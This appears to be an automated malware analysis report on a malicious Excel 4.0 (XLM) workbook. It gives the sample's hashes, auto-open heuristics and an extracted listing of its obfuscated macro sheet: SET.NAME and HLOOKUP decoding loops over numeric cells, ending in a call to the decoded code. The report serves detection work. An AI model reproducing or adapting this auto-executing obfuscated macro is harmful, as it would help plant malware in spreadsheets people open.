Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6ee3c35b7e5880b6…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:51 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 53bd97ca7fd4eab0b96e630263cb4665 SHA-1: d69bdc2a742cb9c8b6296ddac8b927966e525361 SHA-256: 6ee3c35b7e5880b6a1660450761bfb996891b3b78fb23ab870bad9ec7345f885
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6540 bytes
SHA-256: 30f849c1da245d898225ef97f092d3770227a02f7bf20d413a61fe6f41f4fc8f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  NgLC
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A166 
' 0018     23 LABEL : Cell Value, String Constant - bcFgPccI len=0 
' 0018     26 LABEL : Cell Value, String Constant - cwGWfcqkVXj len=0 
' 0018     20 LABEL : Cell Value, String Constant - EewjF len=0 
' 0018     24 LABEL : Cell Value, String Constant - exJyRMbEy len=0 
' 0018     23 LABEL : Cell Value, String Constant - gWdPupIk len=0 
' 0018     25 LABEL : Cell Value, String Constant - hQITRSBXip len=0 
' 0018     21 LABEL : Cell Value, String Constant - hZfYae len=0 
' 0018     21 LABEL : Cell Value, String Constant - IscyvR len=0 
' 0018     22 LABEL : Cell Value, String Constant - JaNkfwZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - JEtNWl len=0 
' 0018     23 LABEL : Cell Value, String Constant - lIFrlqSy len=0 
' 0018     25 LABEL : Cell Value, String Constant - LJSBpwdqnx len=0 
' 0018     22 LABEL : Cell Value, String Constant - MkRhICm len=0 
' 0018     22 LABEL : Cell Value, String Constant - NnxhODQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - OfowzDiVO len=0 
' 0018     21 LABEL : Cell Value, String Constant - qxbLUB len=0 
' 0018     25 LABEL : Cell Value, String Constant - SgoHaSLNeq len=0 
' 0018     20 LABEL : Cell Value, String Constant - sycOh len=0 
' 0018     22 LABEL : Cell Value, String Constant - uoUVFGI len=0 
' 0018     23 LABEL : Cell Value, String Constant - vCbYCfpR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  NgLC,A69,"SET.NAME("JEtNWl",0+VALUE("0"))",""
'  NgLC,P69,"",-306.00000000000000000000
'  NgLC,P70,"",738.00000000000000000000
'  NgLC,P71,"",-433.00000000000000000000
'  NgLC,P72,"",-893.00000000000000000000
'  NgLC,P73,"",309.00000000000000000000
'  NgLC,A74,"SET.NAME("NnxhODQ",JEtNWl)",""
'  NgLC,P74,"",-313.00000000000000000000
'  NgLC,A77,"SET.NAME("gWdPupIk",JEtNWl)",""
'  NgLC,A82,"SET.NAME("exJyRMbEy",COUNTA(MkRhICm))",""
'  NgLC,A86,"SET.NAME("uoUVFGI",COUNTA(LJSBpwdqnx))",""
'  NgLC,A91,[],""
'  NgLC,A94,"SET.NAME("vCbYCfpR","")",""
'  NgLC,A98,"NnxhODQ",""
'  NgLC,A103,"SET.NAME("sycOh",HLOOKUP("*",MkRhICm,NnxhODQ,FALSE))",""
'  NgLC,A108,"hQITRSBXip",""
'  NgLC,A113,"SET.NAME("EewjF",JEtNWl)",""
'  NgLC,A115,[],""
'  NgLC,A118,"EewjF",""
'  NgLC,A120,"hZfYae",""
'  NgLC,A123,"bcFgPccI",""
'  NgLC,A128,"OfowzDiVO",""
'  NgLC,A131,"SET.NAME("lIFrlqSy",VALUE(HLOOKUP("*",LJSBpwdqnx,OfowzDiVO,FALSE)))",""
'  NgLC,A136,"cwGWfcqkVXj",""
'  NgLC,A138,"vCbYCfpR",""
'  NgLC,A142,"gWdPupIk",""
'  NgLC,A144,NEXT(),""
'  NgLC,A149,"SgoHaSLNeq",""
'  NgLC,A154,[],""
'  NgLC,A156,"JaNkfwZ",""
'  NgLC,A159,NEXT(),""
'  NgLC,A163,RETURN(),""
'  NgLC,A190,"SET.NAME("IscyvR",A69)",""
'  NgLC,A194,"MkRhICm",""
'  NgLC,A199,"SET.NAME("LJSBpwdqnx",R45C13)",""
'  NgLC,A204,"SET.NAME("JaNkfwZ",212)",""
'  NgLC,A207,"SET.NAME("qxbLUB",1)",""
'  NgLC,A211,IscyvR(),""
'  NgLC,A212,HALT(),""

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